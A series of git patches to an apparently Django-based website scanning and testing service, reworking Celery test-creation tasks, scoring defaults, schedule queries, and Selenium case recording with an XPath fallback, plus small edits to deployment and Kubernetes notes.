Date: Tue, 27 Aug 2024 12:51:29 -0600
Subject: [PATCH 675/752] trying to fix task bugs

---
 app/api/tasks.py | 37 ++++++++++++++++++++++++-------------
 1 file changed, 24 insertions(+), 13 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 684ebec0..ade8c8d3 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -126,7 +126,7 @@ def create_site_and_pages_bg(self, site_id: str=None, configs: dict=settings.CON
                 scan = Scan.objects.create(
                     site=site,
                     page=page, 
-                    type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+                    type=settings.TYPES,
                     configs=configs
                 )
                 
@@ -207,7 +207,7 @@ def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> No
                 scan = Scan.objects.create(
                     site=site,
                     page=page, 
-                    type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+                    type=settings.TYPES,
                     configs=configs
                 )
                 # run each scan component in parallel
@@ -278,7 +278,7 @@ def create_scan(
         self,
         scan_id: str=None,
         page_id: str=None, 
-        type: list=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+        type: list=settings.TYPES,
         automation_id: str=None, 
         configs: str=None,
         tags: str=None,
@@ -505,7 +505,7 @@ def create_test(
         page_id: str=None, 
         automation_id: str=None, 
         configs: dict=settings.CONFIGS, 
-        type: list=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+        type: list=settings.TYPES,
         index: int=None,
         pre_scan: str=None,
         post_scan: str=None,
@@ -532,6 +532,16 @@ def create_test(
     Returns -> None
     """
 
+    # setting defaults
+    created_test = None
+
+    # get or create a Test
+    if test_id is not None:
+        created_test = Test.objects.get(id=test_id)
+        page = created_test.page
+    elif page_id is not None:
+        page = Page.objects.get(id=page_id)
+
     # get pre_ & post_ scans
     if pre_scan is not None:
         pre_scan = Scan.objects.get(id=pre_scan)
@@ -540,11 +550,15 @@ def create_test(
     if post_scan is None or pre_scan is None:
         if pre_scan is None:
             # check for pre_scan existance 
-            if not Scan.objects.filter(page=page).exists():
+            if not Scan.objects.filter(page=page).exclude(time_completed=None).exists():
                 logger.info('no pre_scan available to create Test with')
                 return None
             # get pre_scan if exists
-            pre_scan = Scan.objects.filter(page=page).order_by('-time_completed')[0]
+            pre_scan = Scan.objects.filter(
+                page=page
+            ).exclude(
+                time_completed=None
+            ).order_by('-time_completed')[0]
         
         # create new post_scan
         post_scan = Scan.objects.create(
@@ -560,13 +574,9 @@ def create_test(
             automation_id=automation_id,
             configs=configs,
         )
-
-    # get or create a Test
-    if test_id is not None:
-        created_test = Test.objects.get(id=test_id)
-        page = created_test.page
-    elif page_id is not None:
-        page = Page.objects.get(id=page_id)
+    
+    # create test if none
+    if created_test is None:
         created_test = Test.objects.create(
             site=page.site,
             page=page,
@@ -576,6 +586,7 @@ def create_test(
             status='working'
         )
         
+        
     # updating parired scans
     pre_scan.paired_scan = post_scan
     post_scan.paried_scan = pre_scan

From 05edbacf29422538babc5e963ff2f6049fce8a2d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 27 Aug 2024 13:07:37 -0600
Subject: [PATCH 676/752] added method to create new scan if no pre_scan exists
 for the page or site

---
 app/api/tasks.py | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index ade8c8d3..882738de 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -551,8 +551,24 @@ def create_test(
         if pre_scan is None:
             # check for pre_scan existance 
             if not Scan.objects.filter(page=page).exclude(time_completed=None).exists():
+                
+                # create new scan if none exists
+                new_scan = Scan.objects.create(
+                    site=page.site,
+                    page=page,
+                    tags=tags, 
+                    type=type,
+                    configs=configs,
+                )
+                scan_page_bg.delay(
+                    scan_id=new_scan.id, 
+                    configs=configs,
+                )
+
+                # return None
                 logger.info('no pre_scan available to create Test with')
                 return None
+                
             # get pre_scan if exists
             pre_scan = Scan.objects.filter(
                 page=page

From 218b3698018a9fd9c50b1f135ada8d2e328d88c5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 27 Aug 2024 13:29:23 -0600
Subject: [PATCH 677/752] updated defaluts for failed componoents in tester

---
 app/api/utils/tester.py | 16 ++++++++++------
 1 file changed, 10 insertions(+), 6 deletions(-)

diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 92b708b7..b77d11d0 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -787,12 +787,12 @@ def run_test(self, index: int=None) -> object:
                 # save and get s3 object uri
                 html_delta_uri = self.save_data_to_s3(_data=html_delta_context)
                 print(f'html_delta => {html_delta_uri}')
-
             except Exception as e:
+                print(e)
+            else:
                 micro_diff_w = 0
                 num_html_w = 0
                 micro_diff_w = 0
-                print(e)
         
         # testing logs
         if 'logs' in self.test.type or 'full' in self.test.type:
@@ -816,8 +816,9 @@ def run_test(self, index: int=None) -> object:
                     "combined_logs_score": combined_logs_score
                 }
             except Exception as e:
-                logs_score_w = 0
                 print(e)
+            else:
+                logs_score_w = 0
 
         # testing LH
         if 'lighthouse' in self.test.type or 'full' in self.test.type:
@@ -841,8 +842,9 @@ def run_test(self, index: int=None) -> object:
                 else:
                     delta_lh_w = 1
             except Exception as e:
-                delta_lh_w = 0
                 print(e)
+            else:
+                delta_lh_w = 0
 
         # testing YL
         if 'yellowlab' in self.test.type or 'full' in self.test.type:
@@ -866,8 +868,9 @@ def run_test(self, index: int=None) -> object:
                 else:
                     delta_yl_w = 1
             except Exception as e:
-                delta_yl_w = 0
                 print(e)
+            else:
+                delta_yl_w = 0
 
         # testing images
         if 'vrt' in self.test.type or 'full' in self.test.type:
@@ -880,8 +883,9 @@ def run_test(self, index: int=None) -> object:
                 # weights
                 images_w = 4
             except Exception as e:
-                images_w = 0
                 print(e)
+            else:
+                images_w = 0
         
         # calculating total weight
         total_w = (

From 85978b8dcb41b1eb737511700b4452fa878b4465 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 30 Aug 2024 10:14:23 -0600
Subject: [PATCH 678/752] patching issues with create_test()

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 882738de..a42b07cd 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -586,7 +586,7 @@ def create_test(
         )
         scan_page_bg.delay(
             scan_id=post_scan.id, 
-            test_id=created_test.id,
+            test_id=test_id,
             automation_id=automation_id,
             configs=configs,
         )

From 7c1941d15d9c390bc3bf43ef2b54e71713d2adf4 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 30 Aug 2024 11:31:59 -0600
Subject: [PATCH 679/752] trying to fix tester issues

---
 app/api/utils/tester.py        | 19 ++++++++++---------
 app/api/v1/billing/services.py |  1 -
 app/api/v1/ops/services.py     |  7 +++++++
 notes/Deployment.md            |  2 +-
 4 files changed, 18 insertions(+), 11 deletions(-)

diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index b77d11d0..0685135f 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -789,10 +789,11 @@ def run_test(self, index: int=None) -> object:
                 print(f'html_delta => {html_delta_uri}')
             except Exception as e:
                 print(e)
-            else:
                 micro_diff_w = 0
                 num_html_w = 0
                 micro_diff_w = 0
+                
+                
         
         # testing logs
         if 'logs' in self.test.type or 'full' in self.test.type:
@@ -816,9 +817,9 @@ def run_test(self, index: int=None) -> object:
                     "combined_logs_score": combined_logs_score
                 }
             except Exception as e:
-                print(e)
-            else:
                 logs_score_w = 0
+                print(e)
+                
 
         # testing LH
         if 'lighthouse' in self.test.type or 'full' in self.test.type:
@@ -842,9 +843,9 @@ def run_test(self, index: int=None) -> object:
                 else:
                     delta_lh_w = 1
             except Exception as e:
-                print(e)
-            else:
                 delta_lh_w = 0
+                print(e)
+                
 
         # testing YL
         if 'yellowlab' in self.test.type or 'full' in self.test.type:
@@ -868,9 +869,9 @@ def run_test(self, index: int=None) -> object:
                 else:
                     delta_yl_w = 1
             except Exception as e:
-                print(e)
-            else:
                 delta_yl_w = 0
+                print(e)
+                
 
         # testing images
         if 'vrt' in self.test.type or 'full' in self.test.type:
@@ -883,9 +884,9 @@ def run_test(self, index: int=None) -> object:
                 # weights
                 images_w = 4
             except Exception as e:
-                print(e)
-            else:
                 images_w = 0
+                print(e)
+        
         
         # calculating total weight
         total_w = (
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index cdeb80f6..2251f4a5 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -663,7 +663,6 @@ def cancel_subscription(request: object=None, account: object=None) -> object:
 
 
 
-
 def get_stripe_invoices(request: object) -> object:
     """ 
     Gets a list of Stripe Invoice objects associated with the 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index c5545988..8e0434c3 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -3393,6 +3393,9 @@ def get_schedules(request: object) -> object:
     user = request.user
     account = Member.objects.get(user=user).account
 
+    # setting default
+    schedules = None
+
     # check account and resource 
     check_data = check_account_and_resource(
         user=user, resource='schedule', page_id=page_id, site_id=site_id, 
@@ -3425,6 +3428,10 @@ def get_schedules(request: object) -> object:
     if page_id:
         page = Page.objects.get(id=page_id)
         schedules = Schedule.objects.filter(page=page).order_by('-time_created')
+
+    # get all page scoped schedules
+    if not schedules:
+        schedules = Schedule.objects.filter(account=account).order_by('-time_created')
     
     # serialize and return
     paginator = LimitOffsetPagination()
diff --git a/notes/Deployment.md b/notes/Deployment.md
index 7a894574..5de5cc87 100644
--- a/notes/Deployment.md
+++ b/notes/Deployment.md
@@ -92,7 +92,7 @@ $ eval "$(ssh-agent -s)"
 $ ssh-add ~/.ssh/id_ed25519
 $ cat ~/.ssh/id_ed25519.pub
 ```
-- copy key to clipboard and paste in GutHub
+- copy key to clipboard and paste in GitHub
 
 
 *Add ssh_key.pub to {user} authorized_keys*

From a691e0883d76f9a990014853b32b404539254bec Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 30 Aug 2024 13:15:09 -0600
Subject: [PATCH 680/752] fixed test issue

---
 app/api/tasks.py | 25 ++++++++++++-------------
 1 file changed, 12 insertions(+), 13 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index a42b07cd..7bf13ff0 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -541,6 +541,14 @@ def create_test(
         page = created_test.page
     elif page_id is not None:
         page = Page.objects.get(id=page_id)
+        created_test = Test.objects.create(
+            site=page.site,
+            page=page,
+            type=type,
+            tags=tags,
+            threshold=float(threshold),
+            status='working'
+        )
 
     # get pre_ & post_ scans
     if pre_scan is not None:
@@ -565,6 +573,9 @@ def create_test(
                     configs=configs,
                 )
 
+                # remove created_test
+                created_test.delete()
+
                 # return None
                 logger.info('no pre_scan available to create Test with')
                 return None
@@ -586,22 +597,10 @@ def create_test(
         )
         scan_page_bg.delay(
             scan_id=post_scan.id, 
-            test_id=test_id,
+            test_id=created_test.id,
             automation_id=automation_id,
             configs=configs,
         )
-    
-    # create test if none
-    if created_test is None:
-        created_test = Test.objects.create(
-            site=page.site,
-            page=page,
-            type=type,
-            tags=tags,
-            threshold=float(threshold),
-            status='working'
-        )
-        
         
     # updating parired scans
     pre_scan.paired_scan = post_scan

From 358e0fe643ff05fa39c9ef8c194b27e2d01beb97 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 30 Aug 2024 13:15:29 -0600
Subject: [PATCH 681/752] fixed get_schedules issues and added notes

---
 app/api/v1/ops/services.py | 13 +++++++------
 notes/Kubernetes.md        |  2 ++
 2 files changed, 9 insertions(+), 6 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 8e0434c3..50c40885 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -3418,20 +3418,21 @@ def get_schedules(request: object) -> object:
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
+
+    # get all page scoped schedules
+    if not site_id and not page_id:
+        schedules = Schedule.objects.filter(account=account).order_by('-time_created')
     
     # get all site scoped schedules
-    if site_id:
+    if site_id and not schedules:
         site = Site.objects.get(id=site_id)
         schedules = Schedule.objects.filter(site=site).order_by('-time_created')
     
     # get all page scoped schedules
-    if page_id:
+    if page_id and not schedules:
+        print('getting Schedules by page_id')
         page = Page.objects.get(id=page_id)
         schedules = Schedule.objects.filter(page=page).order_by('-time_created')
-
-    # get all page scoped schedules
-    if not schedules:
-        schedules = Schedule.objects.filter(account=account).order_by('-time_created')
     
     # serialize and return
     paginator = LimitOffsetPagination()
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 7cc33100..78b7c8bb 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -189,6 +189,8 @@ kubectl apply -f ./k8s/prod/kubeip-daemon.yaml
    - `kubectl exec <container-id> -- curl -s http://checkip.dyndns.org/ | sed 's/[a-zA-Z<>/ :]//g'`
  - Force delete pods that are stuck in `Terminating`:
    - `for p in $(kubectl get pods | grep Terminating | awk '{print $1}'); do kubectl delete pod $p --grace-period=0 --force;done`
+ - Stream Logs for all celery-deployments:
+   - ` kubectl logs -f --all-containers deployment/celery-deployment`
 
 
 

From 3740ce5430af729cde0263617ff3824f08d8444c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 4 Sep 2024 10:40:57 -0600
Subject: [PATCH 682/752] updated notes

---
 notes/Kubernetes.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 78b7c8bb..6f2ab352 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -190,7 +190,7 @@ kubectl apply -f ./k8s/prod/kubeip-daemon.yaml
  - Force delete pods that are stuck in `Terminating`:
    - `for p in $(kubectl get pods | grep Terminating | awk '{print $1}'); do kubectl delete pod $p --grace-period=0 --force;done`
  - Stream Logs for all celery-deployments:
-   - ` kubectl logs -f --all-containers deployment/celery-deployment`
+   - `kubectl logs -f --all-containers deployment/celery-deployment`
 
 
 

From 29cedb0ba262a663508a3cbf74d589bf8d508144 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 6 Sep 2024 14:56:08 -0600
Subject: [PATCH 683/752] updating for new Case structure (including xpath
 option)

---
 app/api/tasks.py           |   2 +-
 app/api/utils/autocaser.py |  44 ++++++++++++--
 app/api/utils/caser.py     | 121 +++++++++++++++++++++++++++++--------
 app/api/v1/ops/services.py |  26 ++++++--
 4 files changed, 157 insertions(+), 36 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 7bf13ff0..480f703b 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -972,7 +972,7 @@ def delete_case_s3_bg(case_id: str) -> None:
     # deleting s3 objects
     try:
         bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-        bucket.objects.filter(Prefix=str(f'static/cases/{case_id}.json')).delete()
+        bucket.objects.filter(Prefix=str(f'static/cases/{case_id}/')).delete()
     except:
         pass
 
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 8f82e71a..6b3ce518 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -423,6 +423,7 @@ def record_new_element(self, elem: object, sub_elements: list) -> dict:
 
         # get sub element info
         elem_selector = self.driver.execute_script(self.selector_script, elem)
+        elem_xpath = self.driver.execute_script(self.xpath_script, elem)
         elem_img = self.get_element_image(element=elem)
         relative_url = self.get_relative_url(self.driver.current_url)
         
@@ -432,6 +433,7 @@ def record_new_element(self, elem: object, sub_elements: list) -> dict:
             # record element
             sub_elements.append({
                 'selector': elem_selector,
+                'xpath': elem_xpath,
                 'elem_type': elem.tag_name,
                 'placeholder': None,
                 'value': None,
@@ -467,6 +469,7 @@ def record_new_element(self, elem: object, sub_elements: list) -> dict:
             # record element
             sub_elements.append({
                 'selector': elem_selector,
+                'xpath': elem_xpath,
                 'elem_type': elem.tag_name,
                 'placeholder': elem.get_attribute('placeholder'),
                 'value': value,
@@ -528,8 +531,9 @@ def record_forms(self, elements: list, form: object=None) -> list:
         # begin iteration of <form> gathering
         for form in forms:
             
-            # get form selector
+            # get form selector & xpath
             form_selector = self.driver.execute_script(self.selector_script, form)
+            form_xpath = self.driver.execute_script(self.xpath_script, form)
 
             print(f'recording form -> {form_selector}')
 
@@ -550,6 +554,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                 if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i):
                     # get input data
                     input_selector = self.driver.execute_script(self.selector_script, i)
+                    input_xpath = self.driver.execute_script(self.xpath_script, i)
                     placeholder = i.get_attribute('placeholder')
                     value = i.get_attribute('value')
                     type = str(i.get_attribute('type'))
@@ -558,6 +563,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
 
                     sub_elements.append({
                         'selector': input_selector,
+                        'xpath': input_xpath,
                         'elem_type': i.tag_name,
                         'placeholder': placeholder,
                         'value': value,
@@ -578,6 +584,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                 if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i):
                     # get input data
                     input_selector = self.driver.execute_script(self.selector_script, i)
+                    input_xpath = self.driver.execute_script(self.xpath_script, i)
                     placeholder = i.get_attribute('placeholder')
                     type = str(i.get_attribute('type'))
                     img = self.get_element_image(element=i)
@@ -585,6 +592,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
 
                     sub_elements.append({
                         'selector': input_selector,
+                        'xpath': input_xpath,
                         'elem_type': i.tag_name,
                         'placeholder': placeholder,
                         'value': None,
@@ -604,6 +612,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                 
                 # get iframe data
                 iframe_selector = self.driver.execute_script(self.selector_script, iframe)
+                iframe_xpath = self.driver.execute_script(self.xpath_script, iframe)
                 iframe_img = self.get_element_image(element=iframe)
                 relative_url = self.get_relative_url(self.driver.current_url)
                 
@@ -617,6 +626,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                     if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i):
                         # get input data
                         input_selector = self.driver.execute_script(self.selector_script, i)
+                        input_xpath = self.driver.execute_script(self.selector_script, i)
                         placeholder = i.get_attribute('placeholder')
                         value = i.get_attribute('value')
                         type = str(i.get_attribute('type'))
@@ -626,6 +636,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                         # save internal iframe data
                         iframe_elements.append({
                             'selector': input_selector,
+                            'xpath': input_xpath,
                             'elem_type': i.tag_name,
                             'placeholder': placeholder,
                             'value': value,
@@ -640,6 +651,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                 # save sub elem data
                 sub_elements.append({
                     'selector': iframe_selector,
+                    'xpath': iframe_xpath,
                     'elem_type': iframe.tag_name,
                     'placeholder': None,
                     'value': None,
@@ -660,12 +672,14 @@ def record_forms(self, elements: list, form: object=None) -> list:
                 if self.is_element_visible(btn):
                     # get button data
                     btn_selector = self.driver.execute_script(self.selector_script, btn)
+                    btn_xpath = self.driver.execute_script(self.xpath_script, btn)
                     type = str(btn.get_attribute('type'))
                     btn_img = self.get_element_image(element=btn)
                     relative_url = self.get_relative_url(self.driver.current_url)
 
                     sub_elements.append({
                         'selector': btn_selector,
+                        'xpath': btn_xpath,
                         'elem_type': 'button',
                         'placeholder': None,
                         'value': None,
@@ -681,6 +695,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
             # save elem data
             elements.append({
                 'selector': form_selector,
+                'xpath': form_xpath,
                 'elem_type': 'form',
                 'elem_text': elem_text,
                 'value': None,
@@ -814,6 +829,7 @@ def get_elements(self) -> list:
             element_type = element.tag_name
             elem_relative_url = self.get_relative_url(self.driver.current_url)
             elem_text = self.get_elem_text(selector=selector)
+            xpath = self.driver.execute_script(self.xpath_script, element)
 
             print(f'working on this start element -> {selector}')
 
@@ -939,6 +955,7 @@ def get_elements(self) -> list:
             # adding final info to elememt list
             self.elements.append({
                 'selector': selector,
+                'xpath': xpath,
                 'elem_type': element_type,
                 'elem_text': elem_text,
                 'placeholder': None,
@@ -1005,7 +1022,10 @@ def get_elem_value(element):
                 "assertion":{
                     "type": "",
                     "value": "",
-                    "element": ""
+                    "element": {
+                        "selector": "",
+                        "xpath": "",
+                    },
                 }
             })
 
@@ -1018,13 +1038,19 @@ def get_elem_value(element):
                         "path": element['path'],
                         "type": element['action'],
                         "value": get_elem_value(element),
-                        "element": element['selector'],
+                        "element": {
+                            "selector": element['selector'],
+                            "xpath": element['xpath'],
+                        },
                         "img": element['img']
                     },
                     "assertion":{
                         "type": "",
                         "value": "",
-                        "element": ""
+                        "element": {
+                            "selector": "",
+                            "xpath": "",
+                        },
                     }
                 })
 
@@ -1041,13 +1067,19 @@ def sub_element_mapping(elements, steps):
                                     "path": elem['path'],
                                     "type": elem['action'],
                                     "value": get_elem_value(elem),
-                                    "element": elem['selector'],
+                                    "element": {
+                                        "selector": elem['selector'],
+                                        "xpath": elem['xpath'],
+                                    },
                                     "img": elem['img']
                                 },
                                 "assertion":{
                                     "type": "",
                                     "value": "",
-                                    "element": ""
+                                    "element": {
+                                        "selector": "",
+                                        "xpath": "",
+                                    },
                                 }
                             })
 
diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index bf4d6a7c..472cdebf 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -149,6 +149,52 @@ def save_screenshot(self) -> str:
         # returning image url
         return image_url
 
+
+
+    
+    def get_element(self, selector: str=None, xpath: str=None) -> object:
+        """ 
+        Tries to get element by selector first and 
+        then by xpath. If both fail, then return
+        None for "element" and True for "failed".
+
+        Expects: {
+            "selector": str, 
+            "xpath": str, 
+        }
+
+        Returns -> data: {
+            'element': object | None,
+            'failed': bool
+        }
+        """
+
+        # defaults
+        failed = True
+        element = None
+
+        # try selector first
+        if selector:
+            try:
+                element = self.driver.find_element(By.CSS_SELECTOR, selector)
+                failed = False
+            except:
+                pass
+        # try xpath as backup
+        if xpath:
+            try:
+                element = self.driver.find_element(By.XPATH, xpath)
+                failed = False
+            except:
+                pass
+
+        # return data
+        data = {
+            'element': element,
+            'failed': failed
+        }
+        return data
+
     
 
 
@@ -220,7 +266,7 @@ def run(self) -> None:
                         max_wait_time=int(self.configs.get('max_wait_time', 30)),
                     )
                     self.driver.get(f'{self.site_url}{step["action"]["path"]}')
-                    time.sleep(int(self.configs['min_wait_time']))
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
                     image = self.save_screenshot()
 
                 except Exception as e:
@@ -280,8 +326,14 @@ def run(self) -> None:
                 try:
                     print(f'clicking element -> {step["action"]["element"]}')
                     # using selenium, find and click on the 'element' 
-                    selector = self.format_element(step["action"]["element"])
-                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
+                    selector = self.format_element(step["action"]["element"]["selector"])
+                    xpath = self.format_element(step["action"]["element"]["xpath"])
+                    element_data = self.get_element(selector, xpath)
+                    element = element_data['element']
+
+                    # checking if element was found
+                    if element_data['failed']:
+                        raise Exception(f'Unable to locate element with the given Selector and xPath')
                                     
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
@@ -291,7 +343,7 @@ def run(self) -> None:
 
                     # clicking element
                     element.click()
-                    time.sleep(int(self.configs['min_wait_time']))
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
                     image = self.save_screenshot()
                 
                 except Exception as e:
@@ -318,8 +370,14 @@ def run(self) -> None:
                 try:
                     print(f'changing element to value -> {step["action"]["value"]}') 
                     # using selenium, find and change the 'element'.value
-                    selector = self.format_element(step["action"]["element"])
-                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
+                    selector = self.format_element(step["action"]["element"]["selector"])
+                    xpath = self.format_element(step["action"]["element"]["xpath"])
+                    element_data = self.get_element(selector, xpath)
+                    element = element_data['element']
+
+                    # checking if element was found
+                    if element_data['failed']:
+                        raise Exception(f'Unable to locate element with the given Selector and xPath')
 
                     # scrolling to element and back down a bit
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
@@ -330,7 +388,7 @@ def run(self) -> None:
                     # changing value of element
                     value = step["action"]["value"]
                     element.send_keys(value)
-                    time.sleep(int(self.configs['min_wait_time']))
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
                     image = self.save_screenshot()
                 
                 except Exception as e:
@@ -360,15 +418,21 @@ def run(self) -> None:
                     n = (i - 1)
                     elm = None
                     while True:
-                        elm = self.steps[n]['action']['element']
+                        elm = self.steps[n]['action']['element']['selector']
                         if elm != None and len(elm) != 0:
                             break
                         n -= 1
                     selector = self.format_element(elm)
                                 
                     # using selenium, find elemenmtn and send 'Key' event
-                    selector = self.format_element(step["action"]["element"])
-                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
+                    selector = self.format_element(step["action"]["element"]["selector"])
+                    xpath = self.format_element(step["action"]["element"]["xpath"])
+                    element_data = self.get_element(selector, xpath)
+                    element = element_data['element']
+
+                    # checking if element was found
+                    if element_data['failed']:
+                        raise Exception(f'Unable to locate element with the given Selector and xPath')
 
                     # scrolling to element and back down a bit
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
@@ -378,7 +442,7 @@ def run(self) -> None:
 
                     # using selenium, press the selected key
                     element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
-                    time.sleep(int(self.configs['min_wait_time']))
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
                     image = self.save_screenshot()
                 
                 except Exception as e:
@@ -403,23 +467,28 @@ def run(self) -> None:
                 )
 
                 try:
+                    # using selenium, find elememt and assert if element.text == assertion.value
                     print(f'asserting that element value -> {step["assertion"]["element"]} matches {step["assertion"]["value"]}')
-                    # using selenium, find elememt and assert if element.text == assertion.text
-                    selector = self.format_element(step["assertion"]["element"])
-                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
+                    selector = self.format_element(step["assertion"]["element"]["selector"])
+                    xpath = self.format_element(step["assertion"]["element"]["xpath"])
+                    element_data = self.get_element(selector, xpath)
+                    element = element_data['element']
+
+                    # checking if element was found
+                    if element_data['failed']:
+                        raise Exception(f'Unable to locate element with the given Selector and xPath')
 
                     # scrolling to element and back down a bit
-                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
                     self.driver.execute_script("window.scrollBy(0, -100);")
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # gettintg elem text
-                    elementText = self.driver.execute_script(f'return document.querySelector("{selector}").innerText')
+                    elementText = element.get_attribute('innerText')
                     elementText = element.text if len(elementText) == 0 else elementText
                     elementText = elementText.strip()
-                    print(f'elementText => {elementText}')
-                    print(f'value => {step["assertion"]["value"]}')
+                    print(f'elementText -> {elementText}')
+                    print(f'value -> {step["assertion"]["value"]}')
 
                     # assert text
                     if elementText != step["assertion"]["value"]:
@@ -451,18 +520,22 @@ def run(self) -> None:
 
                 try:
                     print(f'asserting that element -> {step["assertion"]["element"]} exists')
-                    # using puppeteer, find elememt and assert it exists
-                    selector = self.format_element(step["action"]["element"])
-                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
+                    # find elememt and assert it exists
+                    selector = self.format_element(step["action"]["element"]["selector"])
+                    xpath = self.format_element(step["action"]["element"]["xpath"])
+                    element_data = self.get_element(selector, xpath)
+                    element = element_data['element']
+
+                    # checking if element was found
+                    if element_data['failed']:
+                        raise Exception(f'Unable to locate element with the given Selector and xPath')
 
                     # scrolling to element and back down a bit
-                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
                     self.driver.execute_script("window.scrollBy(0, -100);")
                     
                     # scrolling to element using plain JavaScript
-                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
-                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
+                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
                     image = self.save_screenshot()
 
                 except Exception as e:
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 50c40885..bbaa367b 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -19,7 +19,7 @@
 from ...utils.wordpress import Wordpress as W
 from ...utils.caser import Caser
 from ...utils.crawler import Crawler
-import json, boto3, asyncio, os, requests
+import json, boto3, asyncio, os, requests, uuid
 
 
 
@@ -4119,6 +4119,7 @@ def create_or_update_case(request: object) -> object:
     case_id = request.data.get('case_id')
     steps = request.data.get('steps')
     site_url = request.data.get('site_url')
+    site_id = request.data.get('site_id')
     name = request.data.get('name')
     tags = request.data.get('tags')
     _type = request.data.get('type')
@@ -4145,6 +4146,12 @@ def create_or_update_case(request: object) -> object:
     if site_url:
         if Site.objects.filter(account=account, site_url=site_url).exists():
             site = Site.objects.filter(account=account, site_url=site_url)[0]
+    
+    # get site if site_id passed
+    if site_id:
+        if Site.objects.filter(account=account, id=site_id).exists():
+            site = Site.objects.get(id=site_id)
+            site_url = site.site_url
 
     # get case if checks passed
     if case_id:
@@ -4159,6 +4166,10 @@ def create_or_update_case(request: object) -> object:
             case.name = name
         if tags is not None:
             case.tags = tags
+        if site is not None:
+            case.site = site
+        if site_url is not None:
+            case.site_url = site_url
         # save updates
         case.save()
     
